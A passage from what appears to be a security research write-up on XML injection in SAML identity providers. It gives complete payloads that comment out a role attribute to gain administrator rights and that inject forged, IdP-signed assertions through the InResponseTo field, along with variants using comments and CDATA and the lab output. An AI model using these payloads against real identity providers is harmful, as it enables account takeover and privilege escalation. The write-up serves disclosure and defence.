<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> The role attribute is included between the email and name attributes. An attacker could set their email address and name to the following values: email: user@example.com</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue></saml:Attribute><!-- name: --><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">Adam Roberts When the AttributeStatement element is built by the identity provider, the following XML will be produced, where the “viewer” role attribute is enclosed within an XML comment: <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue> </saml:Attribute> <!--</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue></saml:Attribute><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">--> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> When parsed by the service provider, the user will be authenticated to the application under the context of an administrator. Comments can be a useful tool when exploiting XML injections in SAML messages. When done correctly, it is often possible to control large parts of the SAML response or assertion, meaning it can be particularly effective in subverting restrictions imposed by strict service providers. It is worth noting that most XML signature schemes used by SAML implementations canonicalize XML documents prior to calculating a signature, and as part of this process comments are removed from the document. In other words, comments in a SAML response are not considered when the signature is calculated, and can therefore be removed entirely before submission to the service provider. If it is possible to inject XML into two locations within a SAML response, the opportunities for exploitation are much greater through the use of XML comments. InResponseTo and Assertion Injections Injections which affect the InResponseTo attribute occur when the SAML request ID is included dangerously within the response. As mentioned previously, the vast majority of SAML identity providers reflect the value of the SAML request ID in the response, and this is therefore considered a very reliable attribute to probe for injections. Exploiting this type of injection, however, can be extremely difficult. The primary reason is that the the value is included in the SAML response in two locations; the first is within the InResponseTo attribute of the Response element, and the second is within the InResponseTo attribute of the SubjectConfirmationData element, in the assertion. Below is an example of a SAML response generated by an identity provider (hosted on a local server) affected by this vulnerability. The InResponseTo attribute contains the value “_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46”, which was set by the service provider in the SAML request: <?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_bb9456e6-ffbe-4117-94ca-1800923389b4" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_bb9456e6-ffbe-4117-94ca-1800923389b4"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>gj6oIvcJnXaTBtVRwyNVGaIwwEaCuO0jZizyG/Z94aU=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>ueEVB+Xt+kiZZ/g8+9LpO6IWevTatj0NnYLYUwcluqEGlYWMyXef5uQpWf89BO/j294jnIA9KifnqwvhZZr5Ma5e1UQ5/C5d3lTkSA8MTi3DZ8AuHmEtvnC83ivD9IJizcyr0KbwcHtJVzisvvYDwo/f5xq3IrFtqA18tL/mMVA=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa80f7dc-12d1-490c-b19f-c99773167f4b" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T00:23:22.727Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-12T00:18:22.727Z" NotOnOrAfter="2021-02-12T00:23:22.727Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-12T00:18:22.727Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> The goal for most attackers here would be to inject a new assertion that includes a different NameID, and thereby gain access to another user’s account on the service provider. The following payload (decoded and formatted for readability), when included in the ID of the SAML request sent to the identity provider, achieves this. _6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=" There are a few elements to this payload, explained below: First, “> is used to escape from the InResponseTo attribute and into the XML context. In the injected XML, copies of the Issuer and Status elements included in other responses observed from the identity provider are included. Then, an entirely new assertion is created, with a NameID which specifies the email address “admin@example.org”. This assertion was built using assertions taken from legitimate responses generated by the server; the NameID field was modified, along with the NotOnOrAfter attributes (to specify a time in the future) and the InResponseTo attribute, to include the ID of the SAML request. Replacing these values ensure that the service provider will not reject the assertion, as it will expect an assertion that is not expired, and that was generated for the SAML request it previously issued. Finally, an unrelated element “elem” is opened at the end, with an attribute. This is designed to fix dangling markup left by the Response and SubjectConfirmationData elements created by the identity provider, where the injection points occur. Note, however, that this step is considered optional, and its necessity will depend on how tolerant the XML parser is. Some parsers will reject the XML document if the dangling markup is not part of an element, while others will simply treat the dangling markup as an additional text node. If the server rejects the payload without this element, try including it in another SAML request. The following SAML request contains this payload, encoded for transport: <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"><saml:AudienceRestriction><saml:Audience>http://sp.adam.local/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion><elem test="" Version="2.0" IssueInstant="2021-02-11T23:45:28Z" Destination="http://idp.adam.local:8080/SSOService" AssertionConsumerServiceURL="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>http://sp.adam.local/</saml:Issuer><samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" AllowCreate="true"/></samlp:AuthnRequest> When this was received by the identity provider, the following SAML response was produced. The injected XML has been highlighted in bold, although note that the XML was adjusted when the identity provider inserted the XML signature: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_b804b8b3-1ced-4e16-9ef3-03b82338729b" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_b804b8b3-1ced-4e16-9ef3-03b82338729b"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>oE/7pnmcvbFYVsIPC4tao56UR/yAkpv3VL/VBXZXrXk=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>mA6oPZaOUMXxlFRQG5LzoVpmV4VB5K4iIQJ2sseqgYLXhrszbvJ85v7Qud6Fp8xKqC4nVIUZw73eHR2d4nakLKd0lPAqk7gTVC+1V1M3lpMkMCriqM5BNcR/lKpln3SnEzgUPAtbOgmsvKSmhME7fXIY9BUW0Kv/8FcCEdUGg70=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=""/> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_68a25c00-2c08-458a-a760-40f5a55ada07" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2021-02-11T23:50:49.796Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=""/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T23:45:49.796Z" NotOnOrAfter="2021-02-11T23:50:49.796Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T23:45:49.796Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> It should be noted that, due to the existence of two injection points, this SAML response contains three assertions; one injected using the XML injection payload, the second produced by the identity provider (with the legitimate user@example.org NameID), and another injected assertion embedded within the legitimate assertion (at the location of the second InResponseTo attribute). As described previously, the handling of such a SAML response will depend on the configuration of the service provider. During tests performed by NCC Group, the vulnerable identity provider was connected to a SimpleSAMLphp installation; this accepted the SAML response, and used the first occurrence of the assertion to authenticate the user, meaning that the attacker was logged in to the service under the context of admin@example.org. If the service provider uses the second assertion instead of the first, or if it rejects the response due to the repeated assertions, it may be possible to utilize XML comments again to effectively remove the identity provider’s assertion from the response. Two methods have been used successfully in tests performed by NCC Group. The first, if the XML parser used by the service provider is not too strict, simply leaves an unterminated comment at the end of the payload. The identity provider may ignore the lack of a closure for the comment, and generate a signature for the response using only the attacker’s assertion. An example of a payload which may achieve this has been provided below (decoded and formatted for readability): _29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-12T06:51:42.705Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </saml:Response><!-- When the SAML response was generated by the identity provider, the content following the “<!–” string was ignored, effectively removing both the identity provider’s assertion, and the second assertion reflected at the second InResponseTo insertion point. Some identity providers will reject this payload, however, because the XML is invalid with an unterminated comment. To circumvent this restriction, the following alternative payload was developed (again, decoded and formatted for readability): _365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' --> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T18:48:18.749Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> <![CDATA['> <!-- ]]> <ncc-elem a=" This payload takes advantage of the fact that the content will be repeated twice within the SAML response produced by the identity provider. A combination of a comment and a CDATA block is used to enclose the identity provider’s assertion, and inject the new assertion. The payload can be broken down into the following components: First, a quote is used to escape from the first InResponseTo attribute, and a new attribute, ‘ncc-injection’, is created. This attribute uses single quotes for the value, so that the double quotes in the XML for the injected assertion can be preserved. The payload within the attribute value includes a closing comment string “–>”, followed by the malicious assertion XML. This is similar to previous payloads, but stops at the SubjectConfirmationData element, as this is where the second InResponseTo attribute occurs. Following the assertion XML, the attribute value includes the string used to open a CDATA block. Then, the single quote and angle bracket close the ncc-injection attribute and Response element. The “<!–” string is used to open a new comment; this comment will enclose the identity provider’s assertion. Then a “]]>” string is included. This will eventually close the CDATA block. Finally, a new element is included, “ncc-elem” with an attribute; this will balance the quote character left by the InResponseTo attribute created by the identity provider. (Note: again, this element may not be required, depending on the XML parser implementation). When processed by a vulnerable identity provider, the following XML was produced. Note that the first injected assertion, enclosed within the “samlp:Response” “ncc-injection” attribute, is not active. The comment encloses the first part of the identity provider’s assertion, which specifies the “user@example.org” username. Then, when the payload is repeated in the second InResponseTo attribute of the identity provider’s assertion, the “–>” string terminates the comment and the malicious XML becomes active. The malicious XML stops at the SubjectConfirmationData element, where the CDATA block begins; this CDATA block is designed to enclose the second “<!–” comment string, to prevent the remainder of the assertion/response XML from being commented. Finally, the “ncc-elem” element balances the quotes, and the remainder of the identity provider assertion template closes the XML, creating a valid SAML response: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_65a7aa51-521c-46c2-8825-a0b51f730101" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=" --><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>--><![CDATA["><!-- ]]><ncc-elem a=""><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_f78b7401-f325-4083-b280-2c55b6ef02e1" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T06:00:46.978Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" 